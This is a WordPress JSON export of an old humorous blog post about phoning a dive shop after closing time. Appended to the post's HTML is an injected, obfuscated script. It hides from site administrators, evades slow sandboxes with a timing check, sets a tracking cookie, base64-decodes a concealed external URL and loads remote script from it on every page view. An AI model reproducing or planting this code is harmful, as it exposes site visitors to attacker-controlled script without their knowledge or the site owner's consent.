{"id":22,"date":"2005-03-10T06:18:51","date_gmt":"2005-03-10T06:18:51","guid":{"rendered":"\/?p=22"},"modified":"2025-10-17T13:48:21","modified_gmt":"2025-10-17T17:48:21","slug":"my-new-lds","status":"publish","type":"post","link":"http:\/\/callblog.net\/blog\/post\/my-new-lds","title":{"rendered":"My new LDS"},"content":{"rendered":"<p>Tonight after dinner, I called the local dive shop, figuring no one will be there, but I could listen to the message to hear the store hours.\u00c2\u00a0 It went something like this:<\/p>\n<p>*ring\u00e2\u20ac\u00a6 ring\u00e2\u20ac\u00a6 ring*<\/p>\n<p>Guy: Hello?<\/p>\n<p>Me: Hi, is this [local dive shop name]?<\/p>\n<p>Guy: Yeah, we\u00e2\u20ac\u2122re closed for the day.\u00c2\u00a0 What can I help you with?<\/p>\n<p>Me: I was looking for your hours\u00e2\u20ac\u00a6<\/p>\n<p>Guy: We\u00e2\u20ac\u2122re open from 10 to 6 on *pause* Monday *pause* Tuesday *pause* Closed Wednesday *pause* Thursday *pause* Friday *pause*  Close at 5 on Saturday *pause* Closed Sunday.\u00c2\u00a0 Anything else?<\/p>\n<p>Me: No, thank you.<\/p>\n<p>*click*<\/p>\n<p>I feel like I ought to go buy something so they can afford an answering machine.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tonight after dinner, I called the local dive shop, figuring no one will be there, but I could listen to the message to hear the store hours.\u00c2\u00a0 It went something like this: *ring\u00e2\u20ac\u00a6 ring\u00e2\u20ac\u00a6 ring* Guy: Hello? Me: Hi, is this [local dive shop name]? Guy: Yeah, we\u00e2\u20ac\u2122re closed for the day.\u00c2\u00a0 What can I [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,5],"tags":[],"class_list":["post-22","post","type-post","status-publish","format-standard","hentry","category-funny","category-scuba"],"_links":{"self":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/22","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/comments?post=22"}],"version-history":[{"count":1,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/22\/revisions"}],"predecessor-version":[{"id":869,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/posts\/22\/revisions\/869"}],"wp:attachment":[{"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/media?parent=22"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/categories?post=22"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/callblog.net\/blog\/wp-json\/wp\/v2\/tags?post=22"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}